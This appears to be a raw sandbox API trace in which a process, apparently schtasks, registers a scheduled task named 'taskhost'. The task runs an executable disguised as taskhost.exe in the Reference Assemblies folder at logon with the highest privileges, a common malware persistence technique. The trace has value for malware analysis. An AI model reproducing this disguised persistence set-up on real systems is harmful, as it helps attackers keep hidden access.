[0142.939] GetProcessHeap () returned 0x2f0000 [0142.939] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5a0) returned 0x10 [0142.939] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5a0 | out: hHeap=0x2f0000) returned 1 [0142.939] GetProcessHeap () returned 0x2f0000 [0142.939] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d5a0 [0142.939] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1dc600, cchData=128 | out: lpLCData="0") returned 2 [0142.939] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0142.939] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0142.939] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0142.939] GetProcessHeap () returned 0x2f0000 [0142.939] GetProcessHeap () returned 0x2f0000 [0142.939] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5c0) returned 1 [0142.939] GetProcessHeap () returned 0x2f0000 [0142.939] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5c0) returned 0x10 [0142.939] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5c0 | out: hHeap=0x2f0000) returned 1 [0142.939] GetProcessHeap () returned 0x2f0000 [0142.940] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x16) returned 0x30d5c0 [0142.940] GetLocalTime (in: lpSystemTime=0x1dc830 | out: lpSystemTime=0x1dc830*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x5, wMilliseconds=0x3ae)) [0142.940] GetLocalTime (in: lpSystemTime=0x1dd0e8 | out: lpSystemTime=0x1dd0e8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x5, wMilliseconds=0x3ae)) [0142.940] lstrlenW (lpString="") returned 0 [0142.940] lstrlenW (lpString="") returned 0 [0142.940] lstrlenW (lpString="") returned 0 [0142.940] lstrlenW (lpString="") returned 0 [0142.940] lstrlenW (lpString="") returned 0 [0142.940] lstrlenW (lpString="") returned 0 [0142.940] lstrlenW (lpString="") returned 0 [0142.940] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0142.960] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0143.101] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1dceb0 | out: ppv=0x1dceb0*=0x5a7aa0) returned 0x0 [0143.113] TaskScheduler:ITaskService:Connect (This=0x5a7aa0, serverName=0x1dcf90*(varType=0x8, wReserved1=0x1d, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1dcf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1dcf70*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dcf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0143.201] TaskScheduler:IUnknown:AddRef (This=0x5a7aa0) returned 0x2 [0143.201] TaskScheduler:ITaskService:GetFolder (in: This=0x5a7aa0, Path=0x0, ppFolder=0x1dd048 | out: ppFolder=0x1dd048*=0x5a7c90) returned 0x0 [0143.204] TaskScheduler:ITaskService:NewTask (in: This=0x5a7aa0, flags=0x0, ppDefinition=0x1dd040 | out: ppDefinition=0x1dd040*=0x5a7ce0) returned 0x0 [0143.204] ITaskDefinition:get_Actions (in: This=0x5a7ce0, ppActions=0x1dcfc0 | out: ppActions=0x1dcfc0*=0x5a7da0) returned 0x0 [0143.205] IActionCollection:Create (in: This=0x5a7da0, Type=0, ppAction=0x1dcfe0 | out: ppAction=0x1dcfe0*=0x5a6110) returned 0x0 [0143.205] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.205] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\taskhost.exe'") returned 52 [0143.205] lstrlenW (lpString=" ") returned 1 [0143.205] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x50) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x67) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0143.205] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.205] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0143.206] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x6b) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x68) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.206] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0143.207] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0143.207] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0143.207] IUnknown:Release (This=0x5a6110) returned 0x1 [0143.207] IUnknown:Release (This=0x5a7da0) returned 0x1 [0143.207] ITaskDefinition:get_Triggers (in: This=0x5a7ce0, ppTriggers=0x1dcb40 | out: ppTriggers=0x1dcb40*=0x5a7ee0) returned 0x0 [0143.207] ITriggerCollection:Create (in: This=0x5a7ee0, Type=9, ppTrigger=0x1dcb38 | out: ppTrigger=0x1dcb38*=0x5a6180) returned 0x0 [0143.207] IUnknown:QueryInterface (in: This=0x5a6180, riid=0xfff91c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1dcb30 | out: ppvObject=0x1dcb30*=0x5a6180) returned 0x0 [0143.207] IUnknown:Release (This=0x5a6180) returned 0x2 [0143.207] _vsnwprintf (in: _Buffer=0x1dca80, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1dca58 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0143.207] ITrigger:put_StartBoundary (This=0x5a6180, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0143.208] lstrlenW (lpString="") returned 0 [0143.208] lstrlenW (lpString="") returned 0 [0143.208] lstrlenW (lpString="") returned 0 [0143.208] lstrlenW (lpString="") returned 0 [0143.208] IUnknown:Release (This=0x5a6180) returned 0x1 [0143.208] IUnknown:Release (This=0x5a7ee0) returned 0x1 [0143.208] ITaskDefinition:get_Settings (in: This=0x5a7ce0, ppSettings=0x1dcfe0 | out: ppSettings=0x1dcfe0*=0x5a5f50) returned 0x0 [0143.208] lstrlenW (lpString="") returned 0 [0143.208] IUnknown:Release (This=0x5a5f50) returned 0x1 [0143.208] GetLocalTime (in: lpSystemTime=0x1dce98 | out: lpSystemTime=0x1dce98*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x6, wMilliseconds=0xcf)) [0143.208] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0143.209] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0143.209] GetUserNameW (in: lpBuffer=0x1dcec0, pcbBuffer=0x1dcea8 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1dcea8) returned 1 [0143.209] ITaskDefinition:get_RegistrationInfo (in: This=0x5a7ce0, ppRegistrationInfo=0x1dce90 | out: ppRegistrationInfo=0x1dce90*=0x5a7e20) returned 0x0 [0143.209] IRegistrationInfo:put_Author (This=0x5a7e20, Author="") returned 0x0 [0143.210] _vsnwprintf (in: _Buffer=0x1dcec0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1dce58 | out: _Buffer="2022-08-06T02:19:06") returned 19 [0143.210] IRegistrationInfo:put_Date (This=0x5a7e20, Date="") returned 0x0 [0143.210] IUnknown:Release (This=0x5a7e20) returned 0x1 [0143.210] malloc (_Size=0x18) returned 0x5a5ae0 [0143.210] free (_Block=0x5a5ae0) [0143.210] lstrlenW (lpString="") returned 0 [0143.210] ITaskDefinition:get_Principal (in: This=0x5a7ce0, ppPrincipal=0x1dd0b0 | out: ppPrincipal=0x1dd0b0*=0x5a6060) returned 0x0 [0143.210] IPrincipal:put_RunLevel (This=0x5a6060, RunLevel=1) returned 0x0 [0143.210] IUnknown:Release (This=0x5a6060) returned 0x1 [0143.210] malloc (_Size=0x18) returned 0x5a5ae0 [0143.211] ITaskFolder:RegisterTaskDefinition (in: This=0x5a7c90, Path="taskhost", pDefinition=0x5a7ce0, flags=6, UserId=0x1dd130*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1dd170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1df040, varVal2=0xfe), LogonType=3, sddl=0x1dd150*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1dd050 | out: ppTask=0x1dd050*=0x5a63f0) returned 0x0 [0143.670] free (_Block=0x5a5ae0) [0143.670] _memicmp (_Buf1=0x30bab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.670] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x30d2a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0143.670] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0143.670] GetProcessHeap () returned 0x2f0000 [0143.670] GetProcessHeap () returned 0x2f0000 [0143.670] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5e0) returned 1 [0143.670] GetProcessHeap () returned 0x2f0000 [0143.670] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d5e0) returned 0xe [0143.670] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d5e0 | out: hHeap=0x2f0000) returned 1 [0143.670] GetProcessHeap () returned 0x2f0000 [0143.670] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0xc, Size=0x82) returned 0x329b90 [0143.670] _vsnwprintf (in: _Buffer=0x1dd790, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1dcff8 | out: _Buffer="SUCCESS: The scheduled task \"taskhost\" has successfully been created.\n") returned 70 [0143.670] _fileno (_File=0x7fefed02ab0) returned -2 [0143.670] _errno () returned 0x5a4bb0 [0143.670] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0143.671] SetLastError (dwErrCode=0x6) [0143.671] lstrlenW (lpString="SUCCESS: The scheduled task \"taskhost\" has successfully been created.\n") returned 70 [0143.671] GetConsoleOutputCP () returned 0x0 [0143.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"taskhost\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0143.671] GetConsoleOutputCP () returned 0x0 [0143.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"taskhost\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"taskhost\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0143.671] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0143.671] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0143.671] IUnknown:Release (This=0x5a63f0) returned 0x0 [0143.671] TaskScheduler:IUnknown:Release (This=0x5a7ce0) returned 0x0 [0143.672] TaskScheduler:IUnknown:Release (This=0x5a7c90) returned 0x0 [0143.672] TaskScheduler:IUnknown:Release (This=0x5a7aa0) returned 0x1 [0143.672] lstrlenW (lpString="") returned 0 [0143.672] GetProcessHeap () returned 0x2f0000 [0143.672] GetProcessHeap () returned 0x2f0000 [0143.672] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c2f0) returned 1 [0143.672] GetProcessHeap () returned 0x2f0000 [0143.672] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c2f0) returned 0x1fc [0143.672] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c2f0 | out: hHeap=0x2f0000) returned 1 [0143.672] GetProcessHeap () returned 0x2f0000 [0143.672] GetProcessHeap () returned 0x2f0000 [0143.672] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d500) returned 1 [0143.672] GetProcessHeap () returned 0x2f0000 [0143.672] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d500) returned 0x16 [0143.673] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d500 | out: hHeap=0x2f0000) returned 1 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.673] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580) returned 1 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.673] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d580) returned 0x18 [0143.673] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d580 | out: hHeap=0x2f0000) returned 1 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.673] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd70) returned 1 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.673] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cd70) returned 0x20 [0143.673] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd70 | out: hHeap=0x2f0000) returned 1 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.673] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c010) returned 1 [0143.673] GetProcessHeap () returned 0x2f0000 [0143.674] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c010) returned 0xa0 [0143.674] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c010 | out: hHeap=0x2f0000) returned 1 [0143.674] GetProcessHeap () returned 0x2f0000 [0143.674] GetProcessHeap () returned 0x2f0000 [0143.674] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba90) returned 1 [0143.674] GetProcessHeap () returned 0x2f0000 [0143.674] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba90) returned 0x18 [0143.674] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba90 | out: hHeap=0x2f0000) returned 1 [0143.674] GetProcessHeap () returned 0x2f0000 [0143.674] GetProcessHeap () returned 0x2f0000 [0143.674] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb30) returned 1 [0143.674] GetProcessHeap () returned 0x2f0000 [0143.674] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb30) returned 0x20 [0143.675] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb30 | out: hHeap=0x2f0000) returned 1 [0143.675] GetProcessHeap () returned 0x2f0000 [0143.675] GetProcessHeap () returned 0x2f0000 [0143.675] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c270) returned 1 [0143.675] GetProcessHeap () returned 0x2f0000 [0143.675] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c270) returned 0x6a [0143.675] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c270 | out: hHeap=0x2f0000) returned 1 [0143.675] GetProcessHeap () returned 0x2f0000 [0143.675] GetProcessHeap () returned 0x2f0000 [0143.675] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4e0) returned 1 [0143.676] GetProcessHeap () returned 0x2f0000 [0143.676] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d4e0) returned 0x18 [0143.676] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d4e0 | out: hHeap=0x2f0000) returned 1 [0143.676] GetProcessHeap () returned 0x2f0000 [0143.676] GetProcessHeap () returned 0x2f0000 [0143.676] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb00) returned 1 [0143.676] GetProcessHeap () returned 0x2f0000 [0143.676] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cb00) returned 0x20 [0143.676] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cb00 | out: hHeap=0x2f0000) returned 1 [0143.676] GetProcessHeap () returned 0x2f0000 [0143.677] GetProcessHeap () returned 0x2f0000 [0143.677] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcf0) returned 1 [0143.677] GetProcessHeap () returned 0x2f0000 [0143.677] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30dcf0) returned 0x6c [0143.677] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30dcf0 | out: hHeap=0x2f0000) returned 1 [0143.677] GetProcessHeap () returned 0x2f0000 [0143.677] GetProcessHeap () returned 0x2f0000 [0143.677] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d560) returned 1 [0143.677] GetProcessHeap () returned 0x2f0000 [0143.677] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d560) returned 0x18 [0143.677] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d560 | out: hHeap=0x2f0000) returned 1 [0143.677] GetProcessHeap () returned 0x2f0000 [0143.677] GetProcessHeap () returned 0x2f0000 [0143.677] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cad0) returned 1 [0143.677] GetProcessHeap () returned 0x2f0000 [0143.677] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30cad0) returned 0x20 [0143.678] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cad0 | out: hHeap=0x2f0000) returned 1 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d540) returned 1 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d540) returned 0xe [0143.678] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d540 | out: hHeap=0x2f0000) returned 1 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d520) returned 1 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d520) returned 0x18 [0143.678] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d520 | out: hHeap=0x2f0000) returned 1 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d70) returned 1 [0143.678] GetProcessHeap () returned 0x2f0000 [0143.678] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305d70) returned 0x20 [0143.679] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305d70 | out: hHeap=0x2f0000) returned 1 [0143.679] GetProcessHeap () returned 0x2f0000 [0143.679] GetProcessHeap () returned 0x2f0000 [0143.679] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bc10) returned 1 [0143.679] GetProcessHeap () returned 0x2f0000 [0143.679] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bc10) returned 0x208 [0143.679] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bc10 | out: hHeap=0x2f0000) returned 1 [0143.679] GetProcessHeap () returned 0x2f0000 [0143.679] GetProcessHeap () returned 0x2f0000 [0143.679] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba70) returned 1 [0143.679] GetProcessHeap () returned 0x2f0000 [0143.679] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30ba70) returned 0x18 [0143.680] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ba70 | out: hHeap=0x2f0000) returned 1 [0143.680] GetProcessHeap () returned 0x2f0000 [0143.680] GetProcessHeap () returned 0x2f0000 [0143.680] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c80) returned 1 [0143.680] GetProcessHeap () returned 0x2f0000 [0143.680] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305c80) returned 0x20 [0143.680] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305c80 | out: hHeap=0x2f0000) returned 1 [0143.680] GetProcessHeap () returned 0x2f0000 [0143.680] GetProcessHeap () returned 0x2f0000 [0143.680] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d2a0) returned 1 [0143.680] GetProcessHeap () returned 0x2f0000 [0143.680] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30d2a0) returned 0x200 [0143.681] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30d2a0 | out: hHeap=0x2f0000) returned 1 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bab0) returned 1 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30bab0) returned 0x18 [0143.681] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30bab0 | out: hHeap=0x2f0000) returned 1 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bf0) returned 1 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305bf0) returned 0x20 [0143.681] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305bf0 | out: hHeap=0x2f0000) returned 1 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c220) returned 1 [0143.681] GetProcessHeap () returned 0x2f0000 [0143.681] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c220) returned 0x14 [0143.681] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c220 | out: hHeap=0x2f0000) returned 1 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c200) returned 1 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c200) returned 0x18 [0143.682] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c200 | out: hHeap=0x2f0000) returned 1 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b30) returned 1 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x305b30) returned 0x20 [0143.682] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305b30 | out: hHeap=0x2f0000) returned 1 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c240) returned 1 [0143.682] GetProcessHeap () returned 0x2f0000 [0143.682] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x30c240) returned 0x16 [0143.683] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c240 | out: hHeap=0x2f0000) returned 1 [0143.683] GetProcessHeap () returned 0x2f0000 [0143.683] GetProcessHeap () returned 0x2f0000 [0143.683] HeapValidate (hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30c1c0) returned 1 [0143.683] GetProcessHeap () returned 0x2f0000 [0143.683] RtlSizeHeap (HeapHandle=0x2f0000, 